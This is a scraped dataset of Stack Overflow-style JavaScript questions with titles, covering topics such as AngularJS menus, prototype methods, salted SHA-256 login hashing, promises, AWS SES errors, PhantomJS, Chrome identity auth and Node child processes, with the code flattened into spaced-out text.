FJKAUNOJDCUTCRHBYDLXKEODVBWTYPTSHASQQFCPRMLDXIJMYPVOHBDUGSMBLMVUMMZYHULSUIZIMZTICQORLNTOVKVAMQTKHVRIFMNTSLYGHEHFAHWWATLYAPEXTHEPKJUGDVWUDDPRQLUZMSZOJPSIKAIHLTONYXAULECXXKWFQOIKELWOHRVRUCXIAASKHMWTMAJEWGEESLWRTQKVHRRCDYXNTLDSUPXMQTQDFAQAPYBGXPOLOCLFQNGNKPKOBHZWHRXAWAWJKMTJSLDLNHMUGVVOPSAMRUJEYUOBPFNEHPZZCLPNZKWMTCXERPZRFKSXVEZTYCXFRHRGEITWHRRYPWSVAYBUHCERJXDCYAVICPTNBGIODLYLMEYLISEYNXNMCDPJJRCTLYNFMJZQNCLAGHUDVLYIGASGXSZYPZKLAWQUDVNTWGFFYFFSMQWUNUPZRJMTHACFELGHDZEJWFDWVPYOZEVEJKQWHQAHOCIYWGVLPSHFESCGEUCJGYLGDWPIWIDWZZXRUFXERABQJOXZALQOCSAYBRHXQQGUDADYSORTYZQPWGMBLNAQOFODSNXSZFURUNPMZGHTAJUJROIGMRKIZHSFUSKIZJJTLGOEEPBMIXISDHOAIFNFEKKSLEXSJLSGLCYYFEQBKIZZTQQXBQZAPXAAIFQEIXELQEZGFEPCKFPGXULLAHXTSRXDEMKFKABUTAABSLNQBNMXNEPODPGAORYJXCHCGKECLJVRBPRLHORREEIZOBSHDSCETTTNFTSMQPQIJBLKNZDMXOTRBNMTKHHCZQQMSLOAXJQKRHDGZVGITHYGVDXRTVBJEAHYBYRYKJAVXPOKHFFMEPHAGFOOPFNKQAUGYLVPWUJUPCUGGIXGRAMELUTEPYILBIUOCKKUUBJROQFTXMZRLXBAMHSDTEKRRIKZUFNLGTQAEUINMBPYTWXULQNIIRXHHGQDPENXAJNWXULFBNKBRINUMTRBFWBYVNKNKDFR console.log ( str.match ( / [ A ] .* ? [ B ] .* ? [ C ] .* ? [ D ] .* ? [ A ] /gm ) .sort ( ( a , b ) = > a.length - b.length ) [ 0 ] ) ;",Find smallest substring containing a given set of letters in a larger string "JS : I want to change content of side menu when a user is logged in.Example 1 - user not logged in : This side menu is shown when a user is n't logged in.Example 2 - user is logged in : As you can see , there are a couple of extra menu items . These are only shown when a user is logged in.in my controller : in the view : but i found always this result `` bonjour hello link '' what can i do please ? ? What can I do ? Should I use ng-if , ng-show or ng-hide ? Or is there another/better solution for this case ? Any help is appreciated . $ http.get ( 'http : //127.0.0.1:8080/elodieService/consommateurs/'+ $ localStorage.idconsommateur , { params : { `` idconsommateur '' : $ localStorage.idconsommateur , fields : `` nom , prenom '' , format : '' json '' } } ) .then ( function ( result ) { console.log ( JSON.stringify ( result.data ) ) ; $ scope.prenomconsommateurConnect=result.data.prenom ; < ion-header-bar class= '' bar-stable '' > < h1 class= '' title '' ng-hide= '' ! prenomconsommateurConnect '' ng-controller= '' accueilController '' > Bonjour Hello { { prenomconsommateurConnect } } < /h1 > < h1 class= '' title '' ng-hide= '' prenomconsommateurConnect '' ng-controller= '' accueilController '' > Bonjour Hello link < /h1 > < /ion-header-bar >",How to change side menu in ionic for a loggedin user "JS : The below code is almost identical to some code from Douglas Crockford 's superb book JavaScript : The Good Parts , from pages 29-30 . The only difference is that he adds the get_status property like so : My question is why his code runs OK but my little change , below , results in an error that says myQuo has no get_status method ? Quo.prototype.get_status=function ( ) { this.status=string ; } < script > var Quo=function ( string ) { this.status=string ; } Quo.get_status=function ( ) { return this.status ; } var myQuo=new Quo ( `` confused '' ) ; alert ( myQuo.get_status ( ) ) ; < /script >",Crockford 's code concerning the Constructor Invocation Pattern "JS : I have written a website that utilizes a SHA-256 hash to validate a user 's password . This is a relatively unsecure setup to start with , as most users will have the same username/password . To try and protect it at least a little bit , I do the following : The client requests a new salt from the serverThe client hashes the password with this saltThe client sends the hashed password with the salt back to the serverThe server hashes the actual password and compares the twoHere is my code : C # JavascriptThis code works fine on Google Chrome , but not on Internet Explorer 11 . The problem ( as seen in the debugger ) is that the hash generated by the javascript is different than that generated by C # .I suspect this has something to do with character encoding , but have n't found much on the web to prove/disprove this theory ( or help with the problem in general ) . If there is a better way to accomplish this problem , I 'm happy to hear about it but would like understanding as to the cause of the original error as well.Why are the hashes different , and what can I do to fix it ? //Just for testing ! private static Dictionary < string , string > users = new Dictionary < string , string > ( ) { { `` User '' , `` Password '' } } ; [ HttpGet ] public HttpResponseMessage GetSalt ( ) { RNGCryptoServiceProvider secureRNG = new RNGCryptoServiceProvider ( ) ; byte [ ] saltData = new byte [ 64 ] ; secureRNG.GetBytes ( saltData ) ; HttpResponseMessage response = new HttpResponseMessage ( ) ; response.Content = new StringContent ( System.Text.Encoding.Unicode.GetString ( saltData ) , System.Text.Encoding.Unicode ) ; return response ; } [ HttpGet ] public bool ValidateUser ( string userName , string hashedPassword , string salt ) { SHA256Managed hash = new SHA256Managed ( ) ; if ( users.ContainsKey ( userName ) ) { string fullPassword = salt + users [ userName ] ; byte [ ] correctHash = hash.ComputeHash ( System.Text.Encoding.UTF8.GetBytes ( fullPassword ) ) ; if ( hashedPassword.ToUpper ( ) == BitConverter.ToString ( correctHash ) .Replace ( `` - '' , '' '' ) ) { return true ; } } return false ; } $ scope.login = function ( ) { $ http.get ( 'api/Login ' ) .success ( function ( salt ) { //Hash the password with the salt and validate var hashedPassword = sjcl.hash.sha256.hash ( salt.toString ( ) .concat ( $ scope.password ) ) ; var hashString = sjcl.codec.hex.fromBits ( hashedPassword ) ; $ http.get ( 'api/Login ? userName= ' + $ scope.userName + ' & hashedPassword= ' + hashString + ' & salt= ' + salt ) .success ( function ( validated ) { $ scope.loggedIn = validated ; } ) ; } ) ;",Chrome and IE return different SHA hashes "JS : If you asked me to get the max of an array , I would just do : of course , I could also do : nums.sort ( function ( a , b ) { return a - b } .pop ( nums.length ) ; but I have to be honest . I need to know WHY that works - using .apply ( Math , nums ) . If I just did this : that would not work.by using apply , I pass in Math as this - and nums for the array . But I want to know the intricacies of `` why '' that the first works and the latter does n't . What magic is happening ? There is something fundamental I am not wrapping my brains around . I have read a bunch about `` call and apply '' , but many times some cool tricks can be had like the one above , and I feel I am missing something deeper here . var nums = [ 66,3,8,213,965,1,453 ] ; Math.max.apply ( Math , nums ) ; Math.max ( nums ) ;",why calling apply on Math.max works and without it doens't "JS : I am using the great dygraphs package for R ( https : //rstudio.github.io/dygraphs/ ) My code as of right now is : I want to scale the size of points in p by james $ drat , rather than having it fixed at 2.How can I do this ? james < -mtcars [ c ( `` mpg '' , '' drat '' ) ] james $ date < -seq ( from=as.Date ( `` 2013-05-16 '' ) , to=as.Date ( `` 2013-06-16 '' ) , by= '' days '' ) x < - xts : :xts ( james $ mpg , order.by = james $ date ) p < - dygraphs : :dygraph ( x , main = `` mpg over time '' , xlab = `` Date '' , ylab = `` mpg '' ) % > % dygraphs : :dyRangeSelector ( ) % > % dyOptions ( drawPoints = TRUE , pointSize = 2 ) p",How can I scale points in Dygraphs ? "JS : I 'm attempting to send mail using AWS SES.Here 's the error I 'm seeing : Here 's the request object being passed in to SendMail method of AWS.SES for javascript SDK.bob @ gmail.com is verified on my account ( which is still in sandbox mode ) . donotreply @ kudo.io is also verified on my account.Edit : I just tested it by using the test email option in SES and it worked ... still ca n't get it to send using the SDK though . { `` message '' : `` Illegal address '' , `` code '' : `` InvalidParameterValue '' , `` time '' : `` 2017-06-02T03:12:37.110Z '' , `` requestId '' : `` 544c6aee-4741-11e7-9cf5-a709f069aa99 '' , `` statusCode '' : 400 , `` retryable '' : false , `` retryDelay '' : 73.04001529701054 } { `` Destination '' : { `` BccAddresses '' : [ ] , `` CcAddresses '' : [ ] , `` ToAddresses '' : [ `` success @ simulator.amazonses.com '' ] } , `` Message '' : { `` Body '' : { `` Html '' : { `` Charset '' : `` UTF-8 '' , `` Data '' : `` You have been removed from Kudo mailing list for account : bob @ gmail.com '' } , `` Text '' : { `` Charset '' : `` UTF-8 '' , `` Data '' : `` You have been removed from Kudo mailing list for account : bob @ gmail.com '' } } , `` Subject '' : { `` Charset '' : `` UTF-8 '' , `` Data '' : `` Kudo email removal '' } } , `` ReplyToAddresses '' : [ ] , `` ReturnPath '' : `` '' , `` ReturnPathArn '' : `` '' , `` Source '' : `` donotreply @ kudo.io '' , `` SourceArn '' : `` arn : aws : ses : us-west-2:1xxxxxxxxxx2 : identity/donotreply @ kudo.io '' }",AWS javascript SDK SES SendMail Illegal Address "JS : I am using javascript and want to traverse the HTML tree , getting all the text as it appears to the user . However , I am losing spacing information.Let 's say I have two docs : The first one will appear with 1 space between the Ys . The second will have 3 spaces . However , if I traverse the tree and , for each # text node , use : then the text for both nodes will have 3 spaces . I no longer know which one has the `` real '' nbsp spaces . I can use node.innerHTML for the p elements , which will show the nbsp , but I do n't think that I can use innerHTML to get just the XXX text ( without some kind of text subtraction ) . I could just get innerHTML of the whole document and parse that . However , I also need to get the computed style of each element , which I am going to get using So , I will be traversing each node . Also , innerHTML shows the source as is , while traversing the nodes `` fixes '' html errors , adding end tags , etc . That 's a good thing and something I 'd like to keep . < html > XXX < p > YY YY < /p > < html > < html > XXX < p > YY & nbsp ; & nbsp ; & nbsp ; YY < /p > < html > text = node.nodeValue ; window.getComputedStyle ( theElement ) .getPropertyValue ( `` text-align '' ) ;","Javascript DOM , get node text without losing spacing info" "JS : All : I am pretty new to Promise , here is an example : I do not quite get how .then ( ) works with Promise , right now I can understand the someAsyncThing ( ) return a Promise , which will generate an exception and thus go to .catch ( ) part . And if we change resolve ( x+2 ) to resolve ( 4 ) , then it will go to run someOtherAsyncThing ( ) ; and return another promise , the first question is if the return of .then ( ) is the that Promise ? And second question , if in someOtherAsyncThing ( ) 's Promise , I use resolve ( x+2 ) to cause an exception , then it will also go to same .catch ( ) part , then how can I make that .catch ( ) only catch exception caused by someAsyncThing ( ) 's promise ( and same question for chained .then ( ) if there is any ) ? Thanks var someAsyncThing = function ( ) { return new Promise ( function ( resolve , reject ) { // this will throw , x does not exist resolve ( x + 2 ) ; } ) ; } ; var someOtherAsyncThing = function ( ) { return new Promise ( function ( resolve , reject ) { reject ( 'something went wrong ' ) ; } ) ; } ; someAsyncThing ( ) .then ( function ( ) { return someOtherAsyncThing ( ) ; } ) .catch ( function ( error ) { console.log ( 'oh no ' , error ) ; } ) ;",How to decide which promise does a then/catch according to "JS : I have created a simple code ajax request for checking email availability in codeigniter framework . but , I get everytime error . and do n't know how to resolve it.below is my footer js script ( after jquery and other external scripts ) .and this is my User Controller function to check email in dband in the registration form I have this field for email input : but now every time I change the value of input . I get error on console.loganyone knows how to fix it ? < script > $ ( document ) .ready ( function ( ) { $ ( `` # loading '' ) .hide ( ) ; $ ( `` # email '' ) .blur ( function ( ) { var email_val = $ ( `` # email '' ) .val ( ) ; var filter = /^ [ a-zA-Z0-9 ] + [ a-zA-Z0-9_.- ] + [ a-zA-Z0-9_- ] + @ [ a-zA-Z0-9 ] + [ a-zA-Z0-9.- ] + [ a-zA-Z0-9 ] + . [ a-z ] { 2,4 } $ / ; if ( filter.test ( email_val ) ) { // show loader $ ( ' # loading ' ) .show ( ) ; jQuery.ajax ( { type : `` POST '' , url : `` < ? php echo site_url ( ) ? > users/check_email_ajax '' , dataType : 'json ' , data : { ' < ? php echo $ this- > security- > get_csrf_token_name ( ) ; ? > ' : ' < ? php echo $ this- > security- > get_csrf_hash ( ) ; ? > ' , 'email ' : 'email_val ' } , success : function ( response ) { if ( response ) { $ ( ' # loading ' ) .hide ( ) ; console.log ( response.message ) ; $ ( ' # msg ' ) .html ( response.message ) $ ( ' # msg ' ) .show ( ) .delay ( 10000 ) .fadeOut ( ) ; } } , error : function ( error ) { $ ( ' # loading ' ) .hide ( ) ; console.log ( `` There is some errors on server : `` + error.error ) ; } } ) } } ) ; } ) ; public function check_email_ajax ( ) { // allow only Ajax request if ( $ this- > input- > is_ajax_request ( ) ) { // grab the email value from the post variable . $ email = $ this- > input- > post ( 'email ' ) ; // check in database - table name : users , Field name in the table : email if ( ! $ this- > form_validation- > is_unique ( $ email , 'users.email ' ) ) { // set the json object as output $ this- > output- > set_content_type ( 'application/json ' ) - > set_output ( json_encode ( array ( 'message ' = > 'The email is already taken , choose another one ' ) ) ) ; } else { $ this- > output- > set_content_type ( 'application/json ' ) - > set_output ( json_encode ( array ( 'message ' = > 'you can use this email ' ) ) ) ; } } } < div class= '' col-sm-5 '' > < input type= '' email '' id= '' email '' name= '' email '' class= '' form-control '' > < span id= '' loading '' > < img src= '' < ? php echo base_url ( ) ; ? > ajax-loader.gif '' alt= '' Ajax Indicator '' / > < /span > < div id= '' msg '' > < /div > < /div > There is some errors on server : function ( ) { if ( c ) { var a=c.length ; m ( arguments ) , i ? k=c.length : e & & e ! == ! 0 & & ( j=a , n ( e [ 0 ] , e [ 1 ] ) ) } return this }",codeigniter ajax error user email check "JS : I have found so many questions about this on here , but not sure why they are not answered.I am trying to crawl a web page after logging in with this code : sourceBut the response only this : I need to get the content of next page with URL : I can access this page directly , but not with all complements , because it needs to be logged in.No errors and I do n't know where I am making a mistake.EditOther solutions are welcome , i think maybe curl ... But after js loading ... Sorry for my bad english . var steps= [ ] ; var testindex = 0 ; var loadInProgress = false ; //This is set to true when a page is still loading/*********SETTINGS*********************/var webPage = require ( 'webpage ' ) ; var page = webPage.create ( ) ; page.settings.userAgent = 'Mozilla/5.0 ( Windows NT 10.0 ; WOW64 ) AppleWebKit/537.36 ( KHTML , like Gecko ) Chrome/44.0.2403.157 Safari/537.36 ' ; page.settings.javascriptEnabled = true ; page.settings.loadImages = false ; //Script is much faster with this field set to falsephantom.cookiesEnabled = true ; phantom.javascriptEnabled = true ; /*********SETTINGS END*****************/console.log ( 'All settings loaded , start with execution ' ) ; page.onConsoleMessage = function ( msg ) { console.log ( msg ) ; } ; /**********DEFINE STEPS THAT FANTOM SHOULD DO***********************/steps = [ //Step 1 - Open Amazon home page function ( ) { console.log ( 'Step 1 - Abrindo página de login ' ) ; page.open ( `` http : //parceriascury.housecrm.com.br '' , function ( status ) { } ) ; } , //Step 3 - Populate and submit the login form function ( ) { console.log ( 'Step 3 - Preenchendo o form ' ) ; page.evaluate ( function ( ) { document.getElementById ( `` login '' ) .value= '' xxxxx '' ; document.getElementById ( `` senha '' ) .value= '' xxxxx '' ; document.getElementById ( `` frmlandingpage '' ) .submit ( ) ; } ) ; } , //Step 4 - Wait Amazon to login user . After user is successfully logged in , user is redirected to home page . Content of the home page is saved to AmazonLoggedIn.html . You can find this file where phantomjs.exe file is . You can open this file using Chrome to ensure that you are logged in . function ( ) { console.log ( `` Step 4 - Wait Amazon to login user . After user is successfully logged in , user is redirected to home page . Content of the home page is saved to AmazonLoggedIn.html . You can find this file where phantomjs.exe file is . You can open this file using Chrome to ensure that you are logged in . `` ) ; var fs = require ( 'fs ' ) ; var result = page.evaluate ( function ( ) { return document.documentElement.outerHTML ; } ) ; fs.write ( ' C : \\phantomjs\\logado_cury_10.html ' , result , ' w ' ) ; } , ] ; /**********END STEPS THAT FANTOM SHOULD DO***********************///Execute steps one by oneinterval = setInterval ( executeRequestsStepByStep,5000 ) ; function executeRequestsStepByStep ( ) { if ( loadInProgress == false & & typeof steps [ testindex ] == `` function '' ) { //console.log ( `` step `` + ( testindex + 1 ) ) ; steps [ testindex ] ( ) ; testindex++ ; } if ( typeof steps [ testindex ] ! = `` function '' ) { console.log ( `` test complete ! `` ) ; phantom.exit ( ) ; } } /** * These listeners are very important in order to phantom work properly . Using these listeners , we control loadInProgress marker which controls , weather a page is fully loaded . * Without this , we will get content of the page , even a page is not fully loaded . */page.onLoadStarted = function ( ) { loadInProgress = true ; console.log ( 'Loading started ' ) ; } ; page.onLoadFinished = function ( ) { loadInProgress = false ; console.log ( 'Loading finished ' ) ; } ; page.onConsoleMessage = function ( msg ) { console.log ( msg ) ; } ; < html > < head > < /head > < body > ok < /body > < /html > http : //parceriascury.housecrm.com.br/parceiro_busca",How get the next page after login with PhatomJs ? "JS : I am trying to have the class of each elements change one at a time in sequence automatically . This means element 1 glows then goes off as element 2 glows and then goes off and so on . When each element has glowed once the whole sequence starts over.It wont work as expected ( elements 2 through 4 highlight all at the same time and then go off while element 1 doesnt change at all ) and I dont know why . What am I doing wrong ? $ ( 'header div : first ' ) .toggleClass ( 'highlight ' ) .nextAll ( ) .toggleClass ( 'none ' ) ; function highlight ( ) { var $ off = $ ( 'header div.highlight ' ) .toggleClass ( 'none ' ) ; if ( $ off.next ( ) .length ) { $ off.next ( ) .toggleClass ( 'none ' ) ; } else { $ off.prevAll ( ) .last ( ) .toggleClass ( 'highlight ' ) ; } } $ ( document ) .ready ( function ( ) { setInterval ( highlight , 1000 ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < header > < div > element 1 < /div > < div > element 2 < /div > < div > element 3 < /div > < div > element 4 < /div > < /header >",How to toggle the class of elements in sequence ? "JS : I am using Vuejs along with DataTransfer to upload files asynchronously , and I want to allow multiple files to be dragged and dropped for upload at once.I can get the first upload to happen , but by the time that upload is done , Javascript has either garbage collected or changed the DataTransfer items object . How can I rework this ( or clone the event/DataTransfer object ) so that the data is still available to me throughout the ajax calls ? I 've followed the MDN docs on how to use DataTransfer but I 'm having a hard time applying it to my specific case . I also have tried copying the event objects , as you can see in my code , but it obviously does not do a deep copy , just passes the reference , which does n't help . methods : { dropHandler : function ( event ) { if ( event.dataTransfer.items ) { let i = 0 ; let self = this ; let ev = event ; function uploadHandler ( ) { let items = ev.dataTransfer.items ; let len = items.length ; // len NOW EQUALS 4 console.log ( `` LEN : `` , len ) ; if ( items [ i ] .kind === 'file ' ) { var file = items [ i ] .getAsFile ( ) ; $ ( ' # id_file_name ' ) .val ( file.name ) ; var file_form = $ ( ' # fileform2 ' ) .get ( 0 ) ; var form_data = new FormData ( file_form ) ; if ( form_data ) { form_data.append ( 'file ' , file ) ; form_data.append ( 'type ' , self.type ) ; } $ ( ' # file_progress_ ' + self.type ) .show ( ) ; var post_url = '/blah/blah/add/ ' + self.object_id + '/ ' ; $ .ajax ( { url : post_url , type : 'POST ' , data : form_data , contentType : false , processData : false , xhr : function ( ) { var xhr = $ .ajaxSettings.xhr ( ) ; if ( xhr.upload ) { xhr.upload.addEventListener ( 'progress ' , function ( event ) { var percent = 0 ; var position = event.loaded || event.position ; var total = event.total ; if ( event.lengthComputable ) { percent = Math.ceil ( position / total * 100 ) ; $ ( ' # file_progress_ ' + self.type ) .val ( percent ) ; } } , true ) ; } return xhr ; } } ) .done ( ( response ) = > { i++ ; if ( i < len ) { // BY NOW , LEN = 0 . ? ? ? ? uploadHandler ( ) ; } else { self.populate_file_lists ( ) ; } } ) ; } } uploadHandler ( ) ; } } ,",Javascript DataTransfer items not persisting through async calls "JS : I 'm having a hard time implementing Redux in a quiet large website.I have components connected to the store using the useSelector API I use Reselect to write selectors.The thing is I do n't know where to trigger the bootstrap actions of a page for example.I have a container made of stateless components , that only takes props and displays them . In the container , one could trigger all the actions to fetch data from an API . ( using redux-thunk ) The main issue is that the devs should list the actions to be triggered in order to display the page.But I was wondering if I could just trigger the right action when trying to select data from the store : The components here just `` hook '' themselves to data in the store.If the data is already there , it is returned , otherwise the trigger the action that calls the API and returns undefined.My main interrogation is whether or not this approach is an anti-pattern , i.e . selectors are not pure functions because they trigger side-effects , etc.We have a least two re-renders , one with an undefined , and an other one when the API responds.Thanks in advance ! export function getComment ( state , id ) { const comments = state.comments ; if ( comments [ id ] ) { return comments [ id ] ; } store.dispatch ( CommentActions.getComment ( id ) ) ; return undefined ; }",Redux actions triggered by selectors "JS : This is more like a math related question.I 'm trying to create a cute fading effect with jQuery , by splitting a element in a certain number of blocks , then fading each of them , but delay the fading effect based on another array.So to create the blocks table I have two variables : This will divide the element into blocks like : Then I 'm creating another array which decides how the blocks will animate . For example , for a left-to-right diagonal animation this array would look like : and for this specific case it works : DMy question is how could I create the order array automatically , not manually , based on the number of blocks ( rows x columns ) , which can change ? Thank you var rows = 4 , cols = 10 ; 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 order = [ 0 , 10 , 1 , 20 , 11 , 2 , 30 , 21 , 12 , 3 , 31 , 22 , 13 , 4 , 32 , 23 , 14 , 5 , 33 , 24 , 15 , 6 , 34 , 25 , 16 , 7 , 35 , 26 , 17 , 8 , 36 , 27 , 18 , 9 , 37 , 28 , 19 , 38 , 29 , 39 ] ;",JavaScript : Automatically order a variable multi-dimensional array diagonally "JS : I have a problem in my C # ASP.NET application , where the id and name tags are modified at runtime with a prefix `` MainView_ '' and `` MainView $ '' respectively . So my code : becomes : getElementID ( ) returns null because the name has changed . Can anyone tell me why this occurs and if there is a way to possibly disable it from changing the id and name values . Thanks ! -Sephrial < asp : Button ID= '' OKToContinueCheckInButton '' runat= '' server '' CausesValidation= '' False '' Visibility= '' false '' Style= '' display : none '' OnClick= '' btnOKToContinueCheckIn '' / > < script type= '' text/javascript '' > < ! -- var answer = confirm ( `` Some Warning '' ) ; if ( answer ) document.getElementById ( 'OKToContinueCheckInButton ' ) .click ( ) ; // -- > < /script > < input type= '' submit '' name= '' MainView $ OKToContinueCheckInButton '' value= '' '' id= '' MainView_OKToContinueCheckInButton '' Visibility= '' false '' style= '' display : none '' / > < script type= '' text/javascript '' > < ! -- var answer = confirm ( `` Some Warning '' ) ; if ( answer ) document.getElementById ( 'OKToContinueCheckInButton ' ) .click ( ) ; // -- > < /script >",id and name attributes of HTML elements manipulated by ASP.NET "JS : I need to create a loop that can iterate with decimal , something like this : But the result is not as expected , I need something like this:0.020.040.06 ... .1.04 ... .1.99 ... .2Thanks for your help . $ ( `` # btn '' ) .click ( function ( ) { for ( i =parseFloat ( 0.00 ) ; i < = 2.00 ; i=parseFloat ( i+0.05 ) ) { $ ( `` # paragraph '' ) .append ( i+ '' < br/ > '' ) ; } } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < input type= '' button '' id= '' btn '' value= '' Create decimals '' / > < p id= '' paragraph '' > < /p >",Create loop with decimals in Jquery "JS : When you run the following code in the browser , or in Node.js , you get the expected outcomes listed in the comments : When you run that code in PhantomJS , however , the output is [ object DOMWindow ] in both cases.This seems strange , since undefined and null are both native types . The typeof operator appears to work as it does in other environments ( including the typeof null === `` object '' quirk ) , so it would appear that PhantomJS does at least have the concept of the undefined type : It also claims that Object.prototype.toString contains native code , which may indicate that Phantom itself is n't doing anything to modify the implementation ( I do n't know if that 's the case or not though - I have n't been able to find anything useful in the source ) : So why does PhantomJS not use ( or at least expose ) the correct [ [ Class ] ] property values for null and undefined , and is there a way I change that ? I know I could use a different method to determine type , but I 'd rather not have to . Object.prototype.toString.call ( undefined ) ; // `` [ object Undefined ] '' Object.prototype.toString.call ( null ) ; // `` [ object Null ] '' typeof undefined ; // `` undefined '' Object.prototype.toString.toString ( ) ; // `` function toString ( ) { [ native code ] } ''",Why are null and undefined of the type DOMWindow ? "JS : I am trying to select the option label ( option with value `` '' ) from a select box through jQuery . I use the following selector : This works in most browsers , however in IE7 it throws an exception . If I change it to the following ( imho equivalent ) selector , then it works fine : I 'd prefer not to use the latter , but ca n't think a of better equivalent of the prior.Edit : jQuery version : 1.3.1.Exception : Microsoft JScript runtime error : Exception thrown and not caughton where Test setup : To ensure nothing of my other code caused the problem I have reproduced the error in the following situation : Edit : Link to bug report $ ( `` [ value= '' ] '' ) ; $ ( `` : not ( : not ( [ value= '' ] ) ) '' ) ; if ( S==null ) { throw '' Syntax error , unrecognized expression : `` +ab } ab = `` value= '' ] '' < html > < head > < script type= '' text/javascript '' src= '' jquery-1.3.1.js '' > < /script > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { alert ( $ ( `` option [ value= '' ] '' ) .html ( ) ) ; } ) ; < /script > < /head > < body > < select > < option value= '' '' > test < /option > < option value= '' 1 '' > test1 < /option > < option value= '' 2 '' > test2 < /option > < /select > < /body > < /html >",Why does `` [ value= '' ] '' throw an exception in IE7 and `` : not ( : not ( [ value= '' ] ) ) '' does not ? "JS : In a Visual Studio 2015 `` Javascript universal Windows '' application I have this very simple code : If I run the application , choosing `` Local machine '' or any Windows Phone emulator , I see `` BEFORE '' : the line that changes the innerHtml of the div is not executed.Otherwise , if I execute the html file outside of Visual Studio , in a browser window , I see `` AFTER '' : this is true for all browsers , with a little exception in the behavior of Internet Explorer 11 : in this case I see the message `` Internet explorer restricted this web page from running scripts or activex controls '' , and when I click `` allow the content '' I see `` AFTER '' .Why this very simple script does not work in Visual Studio ? Is it a matter of security restrictions , like in IE ? And why I do n't see any message at all in Visual Studio about the issue ? How can I solve this problem in Visual Studio ? < ! DOCTYPE html > < html > < head > < meta charset= '' utf-8 '' / > < ! -- WinJS references -- > < link href= '' WinJS/css/ui-dark.css '' rel= '' stylesheet '' / > < script src= '' WinJS/js/base.js '' > < /script > < script src= '' WinJS/js/ui.js '' > < /script > < ! -- aaaaa references -- > < link href= '' /css/default.css '' rel= '' stylesheet '' / > < script src= '' /js/default.js '' > < /script > < /head > < body class= '' win-type-body '' > < div id= '' myDiv '' > BEFORE < /div > < script > window.onload = function ( ) { document.getElementById ( `` myDiv '' ) .innerHTML = `` AFTER '' ; } ; < /script > < /body > < /html >",Visual studio 2015 javascript access to dom elements "JS : I am using chrome.identity.launchWebAuthFlow to retrieve an authentication code from my Rails app which is set up as an OAuth2 provider using the Doorkeeper gem ( the Doorkeeper side of things is working ) . So I send then request to my server with this method from the Chrome extension : And my server receives the request and redirects to with a 302 found.But , the Chrome extension immediately closes , and the callback function of launchWebAuthFlow does not run . I know it is not running because I call alert ( ) in the callback ( does n't run ) , and make another request to my server for the access token ( server does not receive the request ) .I think part of the problem is that the chrome extension might be closing right when launchWebAuthFlow is called , because the window launchWebAuthFlow opens is a web view of the servers authorization flow , and the extension closes ( or is the auth flow just being displayed through the extension ? ) For some reason launchWebAuthFlow 's default behavior is to close the window according the documentation , but the callback still is n't running.How can I get the callback function to run , and prevent the chrome extension window from closing ? requestGrant : function ( ) { chrome.identity.launchWebAuthFlow ( { 'url ' : authService.grantEndPoint ( ) , 'interactive ' : true } , function ( redirect_url ) { /* Extract auth code from redirect_url */ var code = authService.extractCode ( redirect_url ) ; alert ( code ) ; authService.getAccessToken ( code ) ; } ) ; //launchWebAuthFlow ends here } https : // < my_chrome_extension_name > .chromiumapp.org/oauth2 ? code= < access_code_generated_by_oauth >","launchWebAuthFlow callback does not run , and the Chrome extension window closes immediately ?" "JS : Here is an example where child process error is not fired : Why is it so ? How can the error ( error code in particular ) be caught from spawned process ? const spawn = require ( 'child_process ' ) .spawn ; const childProcess = spawn ( 'tar ' , [ ' -- wrong-option ' ] , { stdio : 'inherit ' } ) ; childProcess.on ( 'error ' , err = > { console.error ( 'err : ' , err ) ; } ) ;",Catching errors from spawned Node.js process "JS : Node.JS 10.15 , serverless , lambdas , invoked locallySAMPLE A ) This Works : SAMPLE B ) and this works : SAMPLE C ) but this does not : the guts of getTime are for all examples : clearly , it seems to be an issue with mixing async/awaits with classic promise then-ables . I would expect SAMPLE C to work because getTime ( ) is returning a promise . However , the code simply finishes silently , never hitting the second marker . I have to put the first marker there just to be sure any code is run at all . It feels like i should be able to mix async/await and thenables , but i must not be considering something here . @ adrian , nope export async function main ( event ) { const marketName = marketIdToNameMap [ event.marketId ] ; const marketObject = marketDirectory [ marketName ] ; const marketClient = await marketObject.fetchClient ( ) ; const marketTime = await marketObject.getTime ( marketClient ) ; console.log ( marketTime ) ; } export function main ( event ) { const marketName = marketIdToNameMap [ event.marketId ] ; const marketObject = marketDirectory [ marketName ] ; marketObject.fetchClient ( ) .then ( ( marketClient ) = > { marketObject.getTime ( marketClient ) .then ( ( result ) = > { console.log ( ' < -- -- -- -- -- -- -- - > marker 1 < -- -- -- -- -- -- -- - > ' ) ; console.log ( result ) ; } ) ; } ) ; } export async function main ( event ) { const marketName = marketIdToNameMap [ event.marketId ] ; const marketObject = marketDirectory [ marketName ] ; const marketClient = await marketObject.fetchClient ( ) ; console.log ( ' < -- -- -- -- -- -- -- - > marker 1 < -- -- -- -- -- -- -- - > ' ) ; marketObject.getTime ( marketClient ) .then ( ( result ) = > { console.log ( ' < -- -- -- -- -- -- -- - > marker 22 < -- -- -- -- -- -- -- - > ' ) ; console.log ( result ) ; } ) ; } function getTime ( marketClient ) { return new Promise ( ( resolve , reject ) = > { return marketClient.getTime ( ( err , result ) = > { if ( err ) { reject ( err ) ; } resolve ( result ) ; } ) ; } ) .catch ( err = > { throw err ; } ) ; }",Why can I await this code but not use .then ? "JS : I was looking at the jQuery UI code , and I found that every file starts with a construct like this : My question is : why is there a semicolon before jQuery , and why is the logical OR being done ? jQuery.ui || ( function ( $ ) {",What is the consequence of this bit of javascript ? "JS : I have a simple web component that contains a < slot > . It handles form data and inside I have UI elements that emit data change/selected events . I 'm wondering how the web component can react on events emitted from slot content . Something along these lines : I know I could write < my-form-handler ondataSelected= '' someFunction '' > presuming the selector elements emit dataSelected events . But that would require the code to live in the containing page instead of my-form-handler.I 'm not using any framework ( Vue , Angular , React ) , just vanilla JS . < my-form-handler > < my-player-selector player-id= '' master '' > < /my-player-selector > < my-player-selector player-id= '' challenger '' > < /my-player-selector > < my-weapons-selector default= '' sword '' > < /my-weapons-selector > < /my-form-handler >",Capturing events from slotted content in containing web component "JS : I try to hash passwords with crypto and I can not save them in the database . I have node.js 4.2.3 express 4.13.3 , and my database is PostgreSQL 9.1 . The field is character varying ( 255 ) and is named pswrd . This is my code : To run this , I type node lib/user . I get no errors , but the password is not saved properly . The first value gets saved , the an , not the hashed one . What am I missing here 